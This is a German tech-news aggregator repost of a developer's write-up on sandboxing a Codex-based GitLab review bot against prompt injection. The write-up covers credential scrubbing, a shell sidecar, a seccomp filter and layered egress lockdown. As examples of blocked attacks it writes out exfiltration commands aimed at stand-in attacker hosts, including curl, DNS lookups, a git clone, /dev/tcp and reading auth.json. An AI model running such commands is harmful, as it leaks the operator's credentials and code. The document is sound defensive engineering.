🔧 AI Nachrichten IBM Technology: Why Does AI Need Access to the Web?(30.08.2026 um 13:00 Uhr)
🔧 AI Nachrichten IBM Technology: Why Does AI Need Access to the Web?(30.08.2026 um 13:00 Uhr)

26 🕛 kürzlich 12 Min Lesezeit CVE-RADAR
0

I built a custom Codex-powered code review bot for GitLab

↗ Quelle (dev.to)
🗣️ Stimme:
📑 Inhaltsübersicht

A merge-request review by : let the container be the security boundary. Translated to my situation: harden the pod, accept danger-full-access inside it.



The shape ends up looking like this:




CODE
┌─ bot pod ──────────────────────────────────────────────┐
│ │
│ ┌─ container: bot ─────────────────────────────────┐ │
│ │ Node (Fastify) │ │
│ │ codex-sdk → spawns `codex` Rust binary │ │
│ │ bash/sh → /opt/exec-bin/bash-wrapper │ │
│ │ │ │
│ │ HTTPS_PROXY → squid :3128 │ │
│ │ CODEX_HTTPS_PROXY → squid :3129 │ │
│ │ resolv.conf → 127.0.0.1:53 │ │
│ └──────┬─────────────────────┬─────────────────────┘ │
│ │ DNS :53 │ unix socket │
│ ▼ ▼ (/var/run/exec-sidecar)│
│ ┌─ container: ─────┐ ┌─ container: ──────────────┐ │
│ │ coredns sidecar │ │ exec-sidecar (native) │ │
│ │ (native, :53) │ │ │ │
│ │ │ │ exec-server runs │ │
│ │ *.cluster.local │ │ `bash -lc <cmd>` in its │ │
│ │ → resolve │ │ own mount namespace. │ │
│ │ anything else │ │ │ │
│ │ → NXDOMAIN │ │ Mounts: worktrees PVC, │ │
│ │ │ │ socket emptyDir. │ │
│ └──────────────────┘ └───────────────────────────┘ │
│ │
│ Pod-level mounts: │
│ - /codex-home PVC → bot container only │
│ - /worktrees PVC → bot + exec-sidecar │
│ - /var/run/exec-sidecar → bot + exec-sidecar │
│ │
└──────────┬───────────────────────────────────┬─────────┘
│ HTTPS :3128 / :3129 │ in-cluster TCP
│ (HTTPS_PROXY, │ (NetworkPolicy
│ CODEX_HTTPS_PROXY) │ allowlist only)
▼ ▼
┌─ egress-proxy pod ─────────────┐ ┌─ mariadb pod ──┐
│ squid (FQDN allowlist) │ │ reviews, │
│ :3128 bot port │ │ threads │
│ → chatgpt.com, gitlab.com │ └────────────────┘
│ :3129 codex port │
│ → api.openai.com, │ ┌─ redis pod ────┐
│ auth.openai.com, │ │ BullMQ queue │
│ *.openai.com │ └────────────────┘
└──────────────┬─────────────────┘

internet (chatgpt.com, gitlab.com, *.openai.com)






A couple of controls are in place to hold this design together:






1. Keep credentials out of the Codex process tree



The GitLab service-account PAT is for the bot's own API calls (gitbeaker). Codex never needs it. The Codex SDK config scrubs bot-side env vars so they don't reach /proc/<codex-pid>/environ or any of its shell-tool subprocesses.



Same idea for git. When the worker prepares a worktree it clones with the authed URL as a transient argv, then sets the persisted remote to the plain form. Git is spawned with a minimal env (no GITLAB_SA_TOKEN) and -c credential.helper= to neutralize any user-level helper that would otherwise persist the URL-embedded PAT to ~/.git-credentials.






2. Move the shell tool into a sidecar that can't see the credentials



This is the part I'm most pleased with.



Codex's local_shell runs commands as bash -lc "<cmd>". The bot image rewrites /etc/passwd and prepends /opt/exec-bin/ to PATH so both Codex's getpwuid_r lookup and its which::which() fallback resolve bash and sh to a wrapper binary I wrote.



The wrapper does not evaluate the command. It forwards (argv, cwd, env) over a unix socket (/var/run/exec-sidecar/exec.sock, an emptyDir shared between the bot and the sidecar) to a long-running Rust exec-server running in a separate container.



The sidecar mounts the worktrees PVC (RW) and the socket. It does not mount codex-home. So a prompt-injected cat /codex-home/auth.json returns ENOENT. The Codex CLI itself stays in the bot container with full /codex-home access, so token refresh and session writes still work. The prompt-injection-target subprocess runs in a mount namespace where the credentials don't exist.



No extra capabilities, no seccomp changes at the container level, no SCC fight. Pure userspace mount-namespace isolation. Works under restricted-v2 because OpenShift already gave me two containers in one pod and I just used them.






3. Block the lateral path with seccomp



The sidecar idea has a hole. If a prompt-injected bash -lc inside the sidecar can do socket(AF_UNIX) + connect(/var/run/exec-sidecar/exec.sock) + send(<forged ExecRequest>), it can ask the exec-server to spawn arbitrary argv / cwd / env. The attacker already has a shell at that point, so this is a lateral move rather than a privilege escalation. What it gets them is a clean way to forge requests that masquerade as legitimate bot calls.



The fix is a seccomp BPF filter, compiled once at startup with seccompiler, that returns EACCES on any socket() whose first argument is AF_UNIX, and Allow for everything else. The exec-server installs it in Command::pre_exec for each spawned child via seccompiler::apply_filter, which sets PR_SET_NO_NEW_PRIVS and then calls the seccomp syscall. Both work without CAP_SYS_ADMIN. That's what lets this work under restricted-v2 when most sandboxing primitives don't.



The filter is inherited across execve(2), so any subprocess of the spawned bash (python, git, node, …) is also blocked. AF_INET / AF_INET6 are unaffected: HTTPS through the proxy still works, and the courier socket between the wrapper in the bot container and the exec-server stays open because the wrapper isn't subject to the filter.






4. Four layers of egress lockdown



The goal: a prompt-injected curl https://attacker.com (or fetch, or dig anything.attacker.com, or raw bash sockets, or node -e "fetch(...)") fails regardless of which library or runtime the model picks.





  • Layer 1: Pod-local CoreDNS sidecar. The bot pod's resolv.conf points at 127.0.0.1:53. CoreDNS resolves only *.cluster.local and PTR zones; everything else returns NXDOMAIN. Closes DNS exfiltration (dig hex-secret.attacker.com). The bot doesn't need external DNS. HTTP CONNECT proxies do upstream resolution on the client's behalf.


  • Layer 2: NetworkPolicy. The bot pod's only allowed 443 destination is the egress-proxy pod. In-cluster egress is restricted to MariaDB, Redis, and kube-dns. A compromised Codex turn cannot reach neighbor pods, the OpenShift API, or any internal Service.


  • Layer 3: Squid bot port (3128). The bot's own outbound HTTP/S routes here via HTTPS_PROXY. FQDN allowlist: chatgpt.com (the @mr-codex usage endpoint) and gitlab.com (gitbeaker). Anything else gets a 403. Native Node fetch doesn't auto-honor HTTPS_PROXY, so I wired it up explicitly via undici's EnvHttpProxyAgent.


  • Layer 4: Squid codex port (3129). The Codex subprocess gets a different HTTPS_PROXY. Allowlist is OpenAI only. Gitlab is deliberately excluded. A prompt-injected git clone https://gitlab.com/attacker/exfil from inside Codex fails: Codex literally cannot reach gitlab.com.



The reason squid lives in its own pod and not as a sidecar is worth calling out. NetworkPolicy operates at the pod level and does not see intra-pod loopback traffic. A sidecar squid would mean the bot pod's NetworkPolicy itself has to allow outbound to *.openai.com, chatgpt.com, gitlab.com so the sidecar can reach them. That same allowance lets the bot bypass the sidecar entirely with a direct curl. Splitting squid into its own pod lets the bot's NetworkPolicy deny all internet egress and force everything through a place where the FQDN allowlist actually binds.



Every realistic bypass path I could think of dies at one of the four layers, and the layers don't share failure modes. unset HTTPS_PROXY && curl …, node -e "fetch(…)", raw /dev/tcp/host/port redirection, dig hex-secret.attacker.com, git clone https://gitlab.com/attacker/exfil from inside Codex: each one gets caught somewhere different.






Things I deliberately didn't do





  • No retry-on-auth-failure loop. When the OAuth refresh token can no longer be refreshed, the bot edits the MR status comment, pauses the queue, and stops. A human re-seeds auth.json. There's no clever "hold jobs and retry hourly" path. Refresh failure means a credential rotation is needed; silent recovery would mostly mean the queue dies in interesting ways three days later.


  • No per-MR worker scaling. Concurrency stays at 1. Both because of OpenAI abuse heuristics and because one human reviewer's worth of feedback is fine for a team of our size. If we ever need to go faster, the lever is a shorter prompt or a better worktree cache.


  • No "secure local dev mode." docker-compose ships none of the network layers. Local dev is for iterating on bot features. Pretending otherwise would have meant maintaining a parallel security implementation that nobody actually exercises.






Honest trade-offs



This setup beats Duo on cost and customization. It loses on operational overhead: there's a Helm chart, a MariaDB, a Redis, an egress proxy, a CoreDNS sidecar, an exec-sidecar, and an auth.json rotation drill. If you don't have the cluster appetite, Duo's "tick a checkbox in project settings" experience is real value.



It also accepts ToS gray-area risk that Duo doesn't.






A note on availability. This project is closed source. I built it as a one-off internal tool for our team and never planned to publish it. If there's enough interest in seeing the code, drop a comment below or message me directly. I'll talk it over with the team and consider opening it up.

Vollständiger Original-Bericht
Ausführliche Details, Code-Beispiele & Hersteller-Stellungnahme auf dev.to.
↗ Original-Artikel auf dev.to lesen
Wie bewertest du diesen Beitrag?
1 Klick Feedback
Teilen mit Netzwerk & Team:

Community-Analysen & Experten-Meinungen 0

Verfasse deine eigene Analyse, teile Workarounds oder diskutiere diesen Vorfall im Blog.
Noch keine Community-Analyse verfasst. Markiere einen Textabschnitt oder klicke oben auf Eigene Analyse verfassen“!
Community Pulse: Relevanz-Einschätzung
1 Klick Experten-Votum
🔴 Akute Relevanz 48%
🟡 In Evaluierung 24%
🟢 Keine Auswirkung 11%
Spannende Innovation 17%
Verwandte Story-Cluster & Quellen (Vektor-KI)
Port 8095 Engine
1 Quelle
CRA & NIS2 sind nicht deckungsgleich, aber sie sollten auch nicht getrennt behandelt werden #podcast
1 Quelle
hackmas2026 - Vibe hacking - Agentic vulnerability analysis for security competitions
1 Quelle
Hackers Just Poisoned the Rust Supply Chain | Threat Wire
Ähnliche Beiträge
🔍 Verwandte News

Auch interessante Nachrichten I built a custom Codex-powered code review bot for GitLab

Thematisch verwandte Begriffe: built, custom, Codexpowered, code · 6 Treffer

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...